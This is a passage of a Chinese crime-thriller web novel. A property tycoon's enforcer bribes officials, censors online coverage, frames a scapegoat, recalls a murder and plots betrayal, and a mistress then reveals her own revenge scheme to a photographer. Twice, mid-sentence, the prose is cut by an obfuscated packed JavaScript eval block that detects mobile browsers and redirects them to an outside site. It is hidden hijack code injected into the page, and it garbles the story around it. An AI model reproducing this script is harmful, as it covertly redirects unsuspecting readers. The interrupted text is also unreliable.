“去做吧。”他说,声音里有一种破釜沉舟的决绝,“但记住,手脚要干净。所有经手的人,都要可靠。所有可能留下的痕迹,都要抹掉。” “明白。”林涛点头,转身准备离开。 “还有。”赵承德叫住他。 林涛回头。 “沈默。”赵承德说,眼神变得冰冷,“不管今晚的事和他有没有关系,他都不能再留了。这个人……知道的太多,做的也太多。他活着,就是一颗定时炸弹。” 林涛的嘴角微微上扬,那是一个极其细微的、几乎看不见的笑容。 “我明白了,赵董。” 门关上。房间里只剩下赵承德一个人。他重新走到窗前,看着外面夜色中的城市。远处的写字楼还亮着灯,像一座座金色的墓碑。近处的医院花园里,喷泉还在不知疲倦地喷洒,水声在寂静中格外清晰。 他想起二十年前,凤凰计划拆迁的那天。也是晚上,推土机的轰鸣声,居民的哭喊声,砖墙倒塌的轰隆声。他当时站在一辆面包车旁,手里拿着对讲机,指挥着整个过程。一个老太太冲过来,抓着他的袖子,跪在地上求他,说她儿子还在里面,说再给一天时间,让他们把东西搬出来。 他记得自己是怎么做的。他掰开了老太太的手,对保安说:“把她拖走。”然后他对着对讲机说:“继续推。” 老太太的儿子后来怎么样了?他不记得了。可能搬出来了,可能没搬出来。不重要。重要的是,第二天,那片地就平整了,可以开始打地基了。重要的是,那个项目让他赚到了第一笔大钱,让他从一个包工头变成了开发商,让他走上了通往今天的这条路。 二十年。他以为那些往事早就被埋在了地基下面,被混凝土封死,被高楼压住,永不见天日。 可它们没有死。它们只是在黑暗里腐烂,发酵,滋生仇恨。然后在某个毫无预兆的夜晚,突然破土而出,用最惨烈的方式,提醒他:债,总是要还的。 赵承德摸了摸自己的胸口。那里有点闷,有点痛。不知道是真的心脏出了问题,还是别的什么。 他拿起手机,打开相册,翻到一张老照片。那是很多年前,他还是个年轻建筑工人时拍的。照片里,他戴着安全帽,站在未完工的楼架上,背后是蓝天白云,他笑得很灿烂,眼睛里闪着光,那是一种对未来的、纯粹的憧憬。 他看了很久,然后用手指点住照片,选择了“删除”。 确认删除。 照片消失了。像从未存在过。 窗外,夜色更浓了。这座城市正在消化今晚发生的一切——消化一场自杀,消化一个慈善家的崩塌,消化无数个秘密和谎言。而在看不见的地方,新的阴谋正在酝酿,新的算计正在布局,新的悲剧正在悄悄埋下种子。 火是会说话的。但火熄灭后,留下的灰烬,是沉默的。而死者的沉默,往往比他们的呐喊,更令人胆寒。 31. 风雨欲来 凌晨三点,城市的消化系统开始工作。 林涛坐在“远大集团”总部大厦四十七层的办公室里,面前的六块显示屏同时亮着。左边三块显示着实时舆情监测数据——关键词云图、情感倾向分析、传播热力图。中间两块是各大社交平台的后台操作界面,删除指令像流水线上的产品一样不断生成、执行、反馈。右边最大的一块屏幕,分割成十六个小窗口,每个窗口对应一个重点监控的社交媒体账号,包括几个粉丝百万的“独立调查记者”、两个大学社会学教授、一个曾经揭露过医疗黑幕的退休医生,以及——在右下角——沈默那个几乎不更新的摄影博客。 数据在跳动,像垂死者的心电图。 “金卫国自焚”事件在互联网上的生命周期,被精确地切割成四个阶段:爆发期(晚八点到十一点),平台删除速度赶不上用户上传速度,三十七条相关话题登上热搜,最高排名第三;控制期(十一点到凌晨一点),平台接到“上级通知”,开始大规模删帖,热搜全部撤下,关键词屏蔽;反扑期(凌晨一点到两点半),部分用户改用谐音、缩写、图片截屏等方式二次传播,出现“纺织厂往事”“凤凰计划考古”等衍生话题;绞杀期(凌晨两点半至今),删除范围扩大到评论区和私信,十七个带头传播的账号被封禁,三个自媒体工作室接到“喝茶”通知。 林涛的眼睛盯着屏幕,瞳孔里倒映着蓝色的荧光。他已经连续工作了七个小时,没喝一口水,没离开过椅子。西装外套搭在椅背上,白衬衫的领口解开两颗扣子,袖口挽到肘部。他的动作很稳,敲击键盘的节奏均匀得像钟摆,偶尔拿起旁边的功能饮料抿一口,眼神从始至终没有离开过屏幕。 这是他的战场。十年前,他刚跟着赵承德时,处理“麻烦”的方式还很原始——找几个混混,去当事人家里“聊聊”,砸点东西,打几拳,最多断条腿。后来时代变了,摄像头多了,网络发达了,粗暴的物理手段风险太高。赵承德送他去读了EMBA,学了公关、法律、信息技术。他学会了更高级的方法:用舆论对冲舆论,用谎言掩盖真相,用更大的喧嚣淹没不该被听见的声音。 就像现在。 内线电话响了。林涛按下免提,眼睛仍盯着屏幕。 “林总,市委宣传部的李处回话了。”助理的声音传来,“他说这事闹得有点大,省里都关注了。他的原话是:‘老赵这次玩脱了,得有个交代。’” “什么交代?” “他说……最好能有个‘责任人’。”助理小心翼翼地说,“比如,安保公司的负责人,或者集团内部管理疏漏的某个高管。总之,得有人出来背锅,事情才能平息。” 林涛的嘴角扯出一个冰冷的弧度。 背锅。这个词他太熟悉了。二十年前的“凤凰计划”,需要人背锅时,推出去的是两个临时聘用的拆迁队长。十五年前的“滨江地块围标案”,背锅的是集团一个财务副总监。八年前的“锦绣花园质量事故”,背锅的是承包工程的劳务公司老板。现在,轮到谁了? “告诉他,责任人我们会找,明天之内给他答复。”林涛说,“另外,准备五十万现金,装进茶叶盒,明天一早送到李处夫人的茶庄。” “明白。” 电话挂断。林涛切换屏幕,调出一份人员档案。光标在几个名字上游移:安保部部长刘志强,四十五岁,跟了赵承德十二年;行政总监王莉,三十八岁,赵承德一个远房表侄女;还有他自己,林涛,三十六岁,集团副总裁,实际上的二把手。 他的手指在触摸板上滑动,最终停在了“刘志强”这个名字上。 刘志强有个儿子,在国外读高中,每年花费八十万。刘志强自己去年查出了早期肺癌,手术很成功,但需要长期服用进口靶向药,一个月两万。刘志强在市中心还有套房子,贷款还剩三百万。 一个需要钱,有病,有家庭负担,而且跟了赵承德足够久、知道足够多秘密的人——完美的背锅材料。 林涛新建了一个文件夹,命名为“应急预案-刘”。他开始搜集材料:刘志强去年报销的单据中有几笔可疑的餐饮发票;安保部上半年的预算超支了百分之十五;三个月前,刘志强和一家新成立的安保公司老板吃过饭,那家公司正在竞标集团的下一个项目。 这些材料单看都没什么问题,但组合在一起,加上适当的“解读”,就能拼凑出一个故事:刘志强利用职务之便,与外部公司勾结,虚报预算,收受回扣。而在昨晚的慈善晚宴中,他故意放松安检,让“心怀不满”的金卫国混入现场,制造事端,目的是——什么目的?可以是报复赵承德去年没给他升职,可以是被商业对手收买,甚至可以是他个人精神出了问题。 真相不重要。重要的是这个故事要看起来合理,要有人信,要能交差。 林涛保存文档,关闭。然后他打开另一个加密文件夹,里面是十几份扫描件。最上面一份的标题是:《关于“凤凰计划”拆迁补偿问题的内部调查报告,1998年12月》。 他的手指悬在触摸板上,没有立刻点开。 这份文件,他三年前就拿到了。当时赵承德让他整理集团历史档案,准备写一本“企业发展史”来美化形象。他在市档案馆的地下库里待了整整两个月,在堆积如山的发霉纸箱里,找到了这批本该被销毁的文件。 他记得那个下午。档案馆地下库没有窗户,只有惨白的日光灯,空气里弥漫着灰尘和纸张腐烂的气味。他打开一个标注着“1998-1999,行政废件”的纸箱,最上面是些无关紧要的会议纪要、报销单、通知。但往下翻,在箱底,用牛皮纸袋装着,封口处盖着“机密”字样的红章——已经褪色成粉红色——就是这批文件。 他坐在纸箱旁的水泥地上,一页页地翻看。那些泛黄的纸张上,记录着“凤凰计划”全部的真相:虚报的拆迁户数,伪造的签字文件,被压低的补偿标准,暴力拆迁的“安保费用”支出明细,以及——最致命的一页——三起“意外死亡”事件的内部调查报告。报告里清楚地写着:“经查,死者家属曾多次上访,对拆迁补偿方案不满。为确保项目顺利推进,建议采取必要措施。” “必要措施”是什么,报告没写。但后面附着三份“自愿放弃追责声明书”,签名歪歪扭扭,按着红手印。声明书签署日期,都是在死者火化后的第二天。 林涛当时坐在那里,看着这些文件,感觉背脊发凉。他不是不知道赵承德发家的过程不干净,但亲眼看到这些白纸黑字的证据,看到那些被简化为数字和签名的生命,还是不一样。那是一种更具体、更冰冷的恐怖。 他把文件偷偷复印了,原件放回箱底。后来他告诉赵承德,历史档案不全,很多文件可能当年就销毁了。赵承德没怀疑,或者说,不在乎——成功者有权改写历史。 三年来,这批复印件一直锁在他办公室的保险柜里。他知道这是毒药,也是筹码。用得不好,会引火烧身;用得好,能换一张通往更高位置的通行证。 现在,是时候用了。 林涛关掉文件夹,拿起桌上的另一部手机——一部老式的诺基亚功能机,没有智能系统,无法定位,只能用2G网络打电话发短信。他开机,插入一张不记名的SIM卡,然后从通讯录里找到一个号码,备注名是“陈”。 陈天启。天启集团董事长,赵承德最大的竞争对手。 林涛按下拨打键。电话响了五声,接通。那头没人说话,只有轻微的呼吸声。 “陈董,是我。”林涛说,声音压得很低。 沉默了几秒,然后传来一个低沉、略带沙哑的男声,“这么晚了,林总有指示?” 语气里带着嘲讽。林涛不意外。过去几年,他在商场上和天启集团交手无数次,互相使绊子、挖墙脚、抢项目,结下的梁子不少。陈天启恨他,就像恨赵承德一样。 “想跟陈董谈笔生意。”林涛说。 “生意?远大和天启有什么生意可谈?除非你们愿意把‘滨江新城’的项目让出来。” “比那个大。”林涛停顿了一下,“我想送陈董一份礼物。一份能让赵承德进去,让远大集团垮掉的礼物。” 电话那头沉默了更长的时间。林涛能想象陈天启此刻的表情——那个六十岁的老狐狸,一定在快速权衡:这是陷阱?还是真的背叛? “条件?”陈天启终于开口。 “两个。”林涛说,“第一,事成之后,我要远大集团百分之二十的股份,以及总裁的位置。第二,我要你保证我的安全——赵承德倒了,他手下那些人不一定都听话,有些人可能会反扑。” “你要的不少。” “我给的更多。”林涛说,“‘凤凰计划’的全部原始档案,包括三起命案的内部报告。1999年贿赂国土局副局长的录音。2003年‘锦绣家园’项目使用劣质建材的检测报告和公关记录。2008年金融危机时,远大集团通过地下钱庄转移资产的流水单。还有——最近的一份,上个月,赵承德和某位副市长在温泉会所‘谈事情’的照片。” 他一口气说完,电话那头只剩下呼吸声。 “这些东西……”陈天启的声音有些干涩,“你怎么拿到的?” “我跟了他十年。”林涛说,“十年,足够一个人知道另一个人的所有秘密。更何况,赵承德从来不把我当外人——他需要有人替他做脏活,需要有人知道底线在哪里,这样才方便控制。” “但你就不怕他灭口?” “怕。”林涛笑了,笑声很冷,“所以我才找你。陈董,我们是一类人。都从底层爬上来,都知道这游戏的规则——要么吃人,要么被吃。赵承德老了,他心软了,他开始在乎名声了。但你我还没有,我们还能吃人。” 又是沉默。然后陈天启说:“我怎么知道你不是赵承德派来钓鱼的?” “明天下午三点,市图书馆旧馆,三楼地方志阅览室,最靠里的那张桌子。”林涛说,“我会把‘凤凰计划’的部分档案复印件放在那里,用一个蓝色的文件袋装着。你可以派人去拿,可以先验货。如果觉得值,我们再谈下一步。” “……好。” “另外,关于昨晚的事。”林涛补充道,“金卫国的自焚,是个意外,但也是个机会。赵承德现在慌了,他想把这事包装成商业陷害,栽赃给你们天启。他让我伪造证据,证明金卫国是你们收买的。” 陈天启骂了句脏话。 “别急。”林涛说,“我们可以将计就计。让他去伪造,让他去开新闻发布会指控你们。然后,在发布会开到一半的时候,我们把真正的‘凤凰计划’档案抛出来。想想那个画面——赵承德在台上声泪俱下地控诉商业阴谋,台下记者们手机里突然收到匿名邮件,里面是他二十年前杀人夺地的证据。” 电话那头,陈天启的呼吸粗重起来。林涛能感觉到,这个老男人心动了。不是对正义的心动,是对那种将死敌彻底踩在脚下、享受其崩溃瞬间的快感的心动。 “你比我想象的更狠,林涛。”陈天启说。 “不狠,活不到今天。”林涛说,“明天下午三点,别忘了。” 他挂断电话,取出SIM卡,折断,扔进旁边的粉碎机。机器发出沉闷的咀嚼声,塑料和金属被碾成粉末。 做完这一切,他靠在椅背上,闭上眼睛。办公室里很安静,只有服务器机柜发出的轻微嗡鸣。窗外的城市正在醒来,天际线泛起鱼肚白,早班公交车开始上路,清洁工在扫街。 新的一天开始了。而这一天,将是赵承德帝国崩塌的开始。 林涛想起自己第一次见到赵承德的场景。那是2009年,他刚从监狱出来——不是因为打架,是因为他那个酒鬼父亲欠了高利贷,债主上门,他拿刀捅了人。故意伤害,判了三年。出狱后,没地方去,在工地搬砖。有一天,赵承德来视察工地,看到他一个人扛两袋水泥,脚步稳,不出汗,就多看了两眼。后来工头告诉他,老板叫他去办公室。 他记得赵承德办公室的样子——比现在这个小,但更奢华,红木家具,玉器摆件,墙上挂着“厚德载物”的书法。赵承德坐在大班台后面,穿着白衬衫,没打领带,手里转着一串佛珠。 “听说你捅过人?”赵承德第一句话就这么问。 林涛点头。 “为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016468|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “他们逼我爸,我爸跪下了,他们还打他。” 赵承德看了他很久,然后说:“你缺钱吗?” “缺。” “跟着我干,钱有的是。但我要你记住一点——”赵承德站起身,走到他面前,“我给你的钱,是让你解决问题的,不是让你制造问题的。我要你做什么,你就做什么,不问为什么。能做到吗?” 林涛说能。 那之后,他成了赵承德的“特种兵”。第一单活是去“劝退”一个钉子户——那家人死活不肯搬,要价高出市场价三倍。赵承德让他“看着办”。他带了两个人,半夜翻墙进去,没打人,没砸东西,只是把那家读小学的儿子“请”到车上,带到郊外一个废弃的工厂,关了一夜。第二天早上,那家人签字了。 后来活儿越来越多,也越来越脏。恐吓记者,贿赂官员,销毁证据,甚至——有一次——处理一具尸体。那是个审计局的科长,查到了远大集团偷税的证据,约了赵承德“谈谈”,开口要五百万封口费。赵承德答应了,约在郊区一个仓库见面。林涛跟着去,带着现金。交易完成,那人转身要走时,赵承德对林涛使了个眼色。 林涛懂了。他上前,从背后用钢丝勒住那人的脖子。那人挣扎,脚踢在地上,扬起灰尘。大概两分钟,不动了。林涛松开手,尸体软下去。他摸了摸颈动脉,确认没心跳,然后抬头看赵承德。 赵承德的表情很平静,甚至有点满意。他走过来,拍拍林涛的肩膀:“干得好。把他装进水泥桶,明天运到填海区。” 那晚林涛没睡。他坐在出租屋里,看着自己的手,反复洗手,洗到皮肤发白。但奇怪的是,他没有恐惧,没有恶心,反而有一种奇怪的兴奋——就像第一次打架见血时的兴奋。他意识到,自己天生适合干这个。有些人天生适合读书,有些人天生适合做生意,而他,天生适合在阴影里行走,替那些站在光里的人处理他们不想沾手的脏东西。 十年。他从一个打手,变成副总裁;从住出租屋,到拥有三套房产;从骑电动车,到开宾利。赵承德给了他一切——除了尊重。 在赵承德眼里,他永远是个“工具”。好用的工具,忠诚的工具,但终究是工具。工具不需要有思想,不需要有野心,只需要服从命令。赵承德会在酒桌上拍着他的肩膀说“小林是我最得力的干将”,但在董事会里,从来不给他真正的决策权;会给他高薪,但股权只给象征性的零点几;会带他去见高官富豪,但介绍时只说“这是我的助理林涛”。 林涛曾经以为,这样也不错。毕竟,没有赵承德,他现在可能还在底层挣扎,或者又进了监狱。他告诉自己,人要知足。 直到三年前,他拿到“凤凰计划”档案的那天。 那天晚上,他做了个梦。梦见自己成了那些文件里的“死者”——被推土机碾过,被砖块砸中,被火烧死。梦里他清楚地知道自己是林涛,但又好像是金卫国,是那些无名无姓的拆迁户。他在梦里挣扎、惨叫,然后惊醒,一身冷汗。 从那以后,他看赵承德的眼神变了。他不再把他当成“恩人”,而是当成一个……迟早会塌的房子。他住在房子里,享受着房子提供的庇护,但心里清楚,这房子的地基是腐坏的,墙体是裂缝的,随时可能倒塌。他得在房子倒塌前,找到新的住处,或者——更好的——自己成为房子的主人。 金卫国的自焚,加速了这个过程。 赵承德在病房里对他咆哮的样子,像最后一根稻草。那一刻林涛明白,无论他多么忠诚,无论他处理过多少麻烦,在赵承德眼里,他始终是个可以随时牺牲的“责任人”。就像刘志强一样,就像那些被推出去背锅的人一样。 既然如此,那就别怪我先下手为强了。 林涛睁开眼睛,打开电脑上的另一个加密文件夹。里面是他这些年来暗中搜集的所有材料——不只是赵承德的,还有陈天启的,有其他竞争对手的,甚至包括一些官员的。他知道,背叛是一场危险的游戏,必须有足够的筹码,才能确保自己不被反噬。 他选中几份文件,拖进一个新建的文件夹,命名为“保险”。这些文件包括:陈天启儿子在美国赌场欠下两百万美元赌债的记录;天启集团去年通过虚假贸易骗取出退税的证据;以及——最重要的——陈天启十年前涉嫌一桩□□案,最后用钱摆平的警方笔录复印件。 他把“保险”文件夹加密,上传到一个国外的云端存储服务,设置了死信协议——如果他连续七天没有登录,文件会自动发送给指定的十几个邮箱,包括纪委、检察院、和几家海外媒体。 做完这些,天已经大亮。阳光透过落地窗照进来,在地板上切出锐利的光斑。城市完全苏醒了,车流声、喇叭声、施工声,汇成一片嘈杂的背景音。 林涛站起身,走到窗前,俯瞰着脚下的城市。那些高楼大厦,那些他参与建造、争夺、毁掉的建筑,在晨光中闪着冷漠的光。远处,江对岸,“滨江新城”的工地已经开工,塔吊林立,那是远大集团下一个百亿级项目。 但很快,那就不属于赵承德了。 林涛拿起桌上的内部电话,拨给助理:“通知安保部刘部长,一小时后到我办公室。另外,让公关部准备通稿,标题就写……‘关于昨晚慈善晚宴意外事件的初步调查说明’,基调是‘深表痛心,严肃追责,加强管理’。具体内容我稍后发过去。” “明白,林总。” 挂掉电话,林涛整理了一下衬衫领口,套上西装外套。镜子里的他,面容略显疲惫,但眼神锐利,嘴角带着一丝若有若无的冷笑。 游戏开始了。螳螂捕蝉,黄雀在后。而他是那只螳螂,也是那只黄雀——至少,他自己是这么认为的。 他不知道的是,在这座城市的另一处,在沈默那间堆满摄影器材的出租屋里,在苏晚那间可以俯瞰江景的豪华公寓里,在马东那间堆满卷宗的办公室里,还有其他几双眼睛,也在盯着同一盘棋。 每个人都在算计,每个人都在背叛,每个人都以为自己能成为最后的赢家。 而真相是,在这座吃人不吐骨头的城市里,从来没有赢家。只有幸存者。和尸体。 32. 秃鹫开始行动 江边傍晚的风,带着河水特有的腥味和城市排放物的酸腐气。那不是海风那种开阔的咸,而是种更黏稠、更脏的气味——像是江水在下游某个转弯处淤积了太多秘密,发酵后蒸腾上来的气息。 我在防洪堤的水泥台阶上坐下,离苏晚大概两米远。这个距离既不至于太亲密,又能听清她说话。她今天没穿那些昂贵的套装或礼服,而是一件简单的米色风衣,里面是黑色高领毛衣,头发随意挽在脑后,脸上几乎没有妆。这样的她看起来反而更真实,也更危险——就像一把卸去了华丽刀鞘的匕首,寒光直接裸露在空气里。 她没看我,眼睛盯着江面。江水在暮色中呈暗灰色,缓缓向东流去,水面漂浮着塑料瓶、泡沫板、枯枝败叶,偶尔还有一团辨不出原型的腐烂物。对岸是正在施工的“滨江新城”工地,塔吊上的灯已经亮起,在渐暗的天色中像一群巨大的、发光的昆虫。 “知道这条江淹死过多少人吗?” 苏晚突然开口,声音很轻,几乎被江风吹散。我没回答。她从风衣口袋里掏出一盒烟,不是女士烟,而是很冲的男士香烟。她抽出一支点燃,动作熟练得不像那些需要维持优雅形象的名媛。 “我查过档案。”她吸了一口烟,慢慢吐出,“过去二十年,这条江打捞上来四百七十二具尸体。其中三百零九具被定性为‘自杀’,八十七具‘意外失足’,剩下的七十六具,死因‘不明’——意思就是,没人想查,或者查了也没结果。” 她把烟灰弹进江里。“我父亲是第三百一十具自杀的。2001年3月17日,有人在下游的采沙场发现了他。泡了三天,脸都烂了,但衣服还在,口袋里有一封遗书,说因为乱搞师生关系,被学生家长发现,所以投江自尽。” 她顿了顿,转头看了我一眼:“你信吗?” 我没说话。我知道她在说什么——二十年前的“凤凰计划”,苏家是钉子户之一。她父亲苏明哲,拆迁时,他是反对最激烈的一个,带着几十户职工家属上访、拉横幅、去市政府门口静坐。后来,他突然“想通了”,签了字,搬了家。再后来,他就“自杀”了。 “我那时十四岁。”苏晚继续说,声音平静得像在讲别人的故事,“父亲死后三个月,母亲带我改嫁,嫁给一个在北方做生意的远房表舅。表舅喝醉了就打人,打我妈,也打我。最严重的一次,他把我妈肋骨打断两根,把我从二楼推下去,左腿骨折。我去报警,警察说这是家务事,调解调解就算了。” 她把烟蒂扔进江里,那点红光在浑浊的水面上闪了一下,灭了。 “十六岁那年,我妈死了。说是突发心脏病,但我知道不是。她是吞了一整瓶安眠药,因为那天表舅带回来两个朋友,让她陪酒,喝完酒之后……”苏晚停住了,手指在微微发抖,但她很快握紧了拳头,“我跑了。从北方一路逃回来,回到这座城市。我要查清楚,我父亲到底是怎么死的。但我一个十六岁的女孩,能做什么?我去派出所问,他们说案子早就结了;我去找当年拆迁办的老人,不是退休了就是调走了;我甚至去纺织厂原址——那里已经变成‘金凤凰商业广场’,赵承德的第一个成功项目。” 她冷笑一声:“我在那个广场的长椅上睡了三天,饿了就捡垃圾桶里的东西吃。第四天,一个保安过来赶我,我跟他吵起来。吵着吵着,我哭了,把一切都说了。那个保安看我可怜,悄悄告诉我一件事——他说,当年拆迁时,他也在现场,是个临时工。他看见我父亲被几个人拖进一辆面包车,两天后才放出来。放出来的时候,整个人都不对了,眼神直勾勾的,问他什么也不说,就是签字,搬家。” 江风大了些,吹乱了她的头发。她把头发别到耳后,这个动作让她看起来异常脆弱,但我很清楚,那脆弱是假的,是诱饵。 “后来呢?”我问。 “后来我遇到了一个人。”苏晚说,“一个专门帮人‘平事’的中间人。他听了我的故事,说可以帮我,但有个条件——我得先活下来,活得像样点,才能有资格谈报仇。他给我介绍了第一份工作,在夜总会端盘子。然后是陪酒,然后是陪唱,最后是陪睡。” 她说这些时,语气没有丝毫波澜,就像在说今天吃了什么。 “我用了五年时间,从最底层的坐台小姐,爬到‘夜泊’的头牌。这五年,我睡过多少男人?不记得了。有官员,有商人,有□□,也有像赵承德这样的大亨。每个人身上,我都能挖出点东西——录音、照片、把柄。我把这些存起来,像松鼠囤积过冬的粮食。” 她终于转过头,正面看着我。暮色中,她的眼睛像两口深井,井底有什么东西在燃烧。 “三年前,我通过一个客人,认识了赵承德。他喜欢我的长相,说我有他初恋的影子——多俗套的故事,但有用。我顺水推舟,成了他的情人。他给我买房,给我钱,带我出入各种场合,向所有人炫耀他养了一只多么漂亮的金丝雀。” 她笑了,那笑容很冷:“但他不知道,这只金丝雀每天都在他枕边,用手机录下他说的每一句话;趁他洗澡时,翻看他手机里的通讯录和短信;在他书房谈事时,用藏在胸针里的□□偷听。三年,足够我知道他所有的秘密——‘凤凰计划’只是其中之一。” 苏晚从风衣内侧口袋掏出一个牛皮纸文件袋,递给我。文件袋很普通,上面没有任何标记,但拿在手里沉甸甸的。 “打开看看。” 我拆开文件袋,里面是十几页打印纸。最上面几页是通话记录清单,时间戳从三天前开始,持续到昨天。号码经过技术处理,但旁边有手写的备注:林涛常用号码(工作)、林涛备用号码(私人)、陈天启秘书电话、陈天启私人座机……通话时长、时间、基站定位,一应俱全。 下面几页是照片。虽然模糊,但能认出是林涛——戴着帽子和口罩,在一个老旧小区的门口上车的画面;另一张是在市图书馆附近,他站在路边等人的侧影。还有几张是文字记录,像是聊天记录的截屏,但关键信息都打了码,只能看出是在讨论“交易”“档案”“合作条件”。 最后是一段整理后的文字纪要,标题是《林-陈接触要点梳理》:林涛向陈天启提供“凤凰计划”原始档案及其他黑材料,作为投名状。林涛要求事成后获得远大集团20%股份及总裁职位。双方约定明天下午三点在市图书馆旧馆交接部分材料。 林涛建议利用赵承德即将召开的新闻发布会,在赵指控天启时,同步抛出黑材料,使其身败名裂。 陈天启初步同意,要求先验货。我看完后,把文件装回袋子,抬头看她:“你怎么搞到这些的?” “我有我的渠道。”苏晚淡淡地说,“赵承德以为我是只听话的宠物,林涛以为我只是个高级妓女,陈天启甚至不知道我的存在。他们都低估了女人,尤其是经历过地狱的女人。” 她重新点了一支烟:“现在你明白了吧?林涛想借天启的手扳倒赵承德,自己上位。但他太天真了。陈天启那种老狐狸,怎么可能真的分给他股份?事成之后,第一个要灭口的就是他。而赵承德,他现在慌不择路,想栽赃天启,想找替罪羊,但他不知道,他最信任的助手已经在背后捅刀了。” “所以你的计划是?” “让他们狗咬狗。”苏晚的眼睛在暮色中闪着光,“林涛不是要去图书馆交材料吗?我们可以让他去。陈天启不是要验货吗?我们可以让他验。但在那之前,我们要把消息巧妙地透露给赵承德——不是直接说,而是让他自己‘发现’。” 她深吸一口烟:“赵承德多疑,尤其是现在。如果他知道林涛在背叛他,他会怎么做?他会暴怒,会想立刻清理门户。但他是老江湖,不会直接动手。他会将计就计——假装不知道,等林涛和天启交易时,派人去抓现行。到时候,林涛背叛,天启涉黑,人赃并获,赵承德可以一箭双雕,既能除掉叛徒,又能打击对手。” “然后呢?”我问,“这对你有什么好处?赵承德赢了,他不是更稳固了吗?” 苏晚笑了,那笑容里有一种令人胆寒的东西。 “谁说他能赢?”她轻声说,“当赵承德的人去图书馆抓人时,我们会安排另一批人——媒体记者。不是赵承德控制的那些,是真正的调查记者,还有自媒体。他们会拍到‘远大集团副总裁林涛与竞争对手天启集团秘密交易’的画面,会拍到赵承德的手下‘暴力执法’的画面。到时候,舆论会怎么想?” 她顿了顿,继续说:“人们会看到:远大集团内斗,副总裁叛变;董事长派人动用私刑;竞争对手涉入商业间谍活动。整个事件会升级成一场丑闻,牵扯所有人。而在这个过程中——” 她从口袋里掏出一个小小的U盘,放在我们之间的水泥台阶上。 “这里面的东西,会在最混乱的时候,被匿名发送到纪委、检察院、以及所有重要媒体的邮箱。包括‘凤凰计划’的全部档案,包括赵承德这些年行贿的完整记录,包括林涛经手的所有脏活,包括陈天启的黑历史。我们要的不是谁赢,而是所有人都输。要让这座看似坚固的帝国,从内部开始崩塌,让所有藏在阴影里的老鼠,都暴露在光天化日之下。” 我看着那个U盘,又看看苏晚。她的脸在越来越暗的天色中,只剩下一个模糊的轮廓,但眼睛里的光却越来越亮,亮得可怕。 “你为什么要找我?”我问,“你完全可以自己做。” “因为我需要一双眼睛。”苏晚说,“一双在局外,但又足够了解局内的眼睛。你在查顾远的死,在查金卫国的死,在查所有和赵承德有关的肮脏事。你恨他,虽然你嘴上不说。更重要的是——”她身体前倾,靠近我,我闻到她身上淡淡的香水味,混合着烟草的气息。 “你是个好人,沈默。”她的声音压得很低,“好人在这个游戏里活不长,但好人是最后的保险丝。如果有一天,我也疯了,也被权力和仇恨腐蚀了,变得和他们一样——我希望你能阻止我。或者至少,记录下这一切,让后世知道,这座城市曾经发生过什么。” 我没说话。江风吹得更急了,对岸工地的探照灯扫过来,在我们脸上划过一道惨白的光,又移开。远处传来货轮的汽笛声,沉闷而悠长,像某种巨兽的哀鸣。 “你很会煽情。”我终于开口,声音有点哑,“但这改变不了你在利用我的事实。你和林涛,和赵承德,本质上没什么不同——都在算计,都在把别人当棋子。” 苏晚没有否认。她坐直身体,又恢复了那种冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016469|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的平静。 “你说得对。”她说,“我是在利用你。利用你的正义感,利用你对朋友的愧疚,利用你心里那点还没死干净的理想主义。但这世界不就是这样吗?要么利用别人,要么被别人利用。至少我坦白告诉你,而不像赵承德那样,一边吸你的血,一边说这是为你好。” 她站起身,风衣下摆在风中飘动。 “文件你拿走,U盘你也拿走。明天下午两点半,我会给你发一个地址。你去那里等着,会有事情发生。带上相机,你是摄影师,记录是你的本能。” 她转身要走,又停住。 “还有一件事。”她背对着我说,“金卫国的女儿,金贝贝。赵承德的人已经在查她了。他们想用她来控制你,或者,如果控制不了,就让她‘意外’消失。福利院不安全了。如果你真想保护那个孩子,得想办法把她转移。” 我心里一紧:“转到哪?” “我会安排。”苏晚说,“我有一些可靠的关系,能把她送到外省,换个身份,安静地生活。但前提是,你要配合我完成明天的事。这是交易,沈默。你可以恨我,可以骂我,但这是你现在唯一能救那个孩子的方式。” 她说完,沿着防洪堤的台阶向上走去,身影很快消失在渐浓的夜色中。 我坐在原地,很久没动。手里的文件袋像一块烧红的铁,烫手,但又不能扔掉。那个U盘更小,更轻,但感觉重如千钧。 江对岸,工地的灯光更亮了,打桩机的声音隐约传来——咚,咚,咚,像这座城市的心跳,也像丧钟。 我知道苏晚在利用我。我知道她在玩一场极其危险的游戏,赌注是所有参与者的生命和灵魂。我也知道,一旦踏入这个圈套,我就再也回不了头了。 但我有选择吗?顾远死了,死得不明不白。老金死了,死得惨烈决绝。金贝贝还活着,但随时可能“被消失”。而我,一个被行业封杀的落魄摄影师,一个连房租都交不起的烂人,能做什么? 我想起老金在病房里最后看我的眼神,想起他说的“如果我做了什么傻事”。那时我就知道他会走极端,但我没能阻止他。现在,另一个无辜的孩子可能因为我而陷入危险,我能袖手旁观吗? 我没有选择,我拿起文件袋和U盘,站起身。腿坐麻了,踉跄了一下。江风吹得我浑身发冷,我把风衣裹紧,沿着和苏晚相反的方向离开。 手机震动了一下。是苏晚发来的短信,只有一个地址:江北区望江路17号,废弃水文观测站。时间:明日下午2:30。 还有一个附件,是一张照片。照片里是金贝贝,坐在福利院的床上,抱着那个破收音机,看着窗外。照片的角度是偷拍的,从窗外往里拍,玻璃反光中能看到拍摄者的影子——一个穿黑西装的男人。 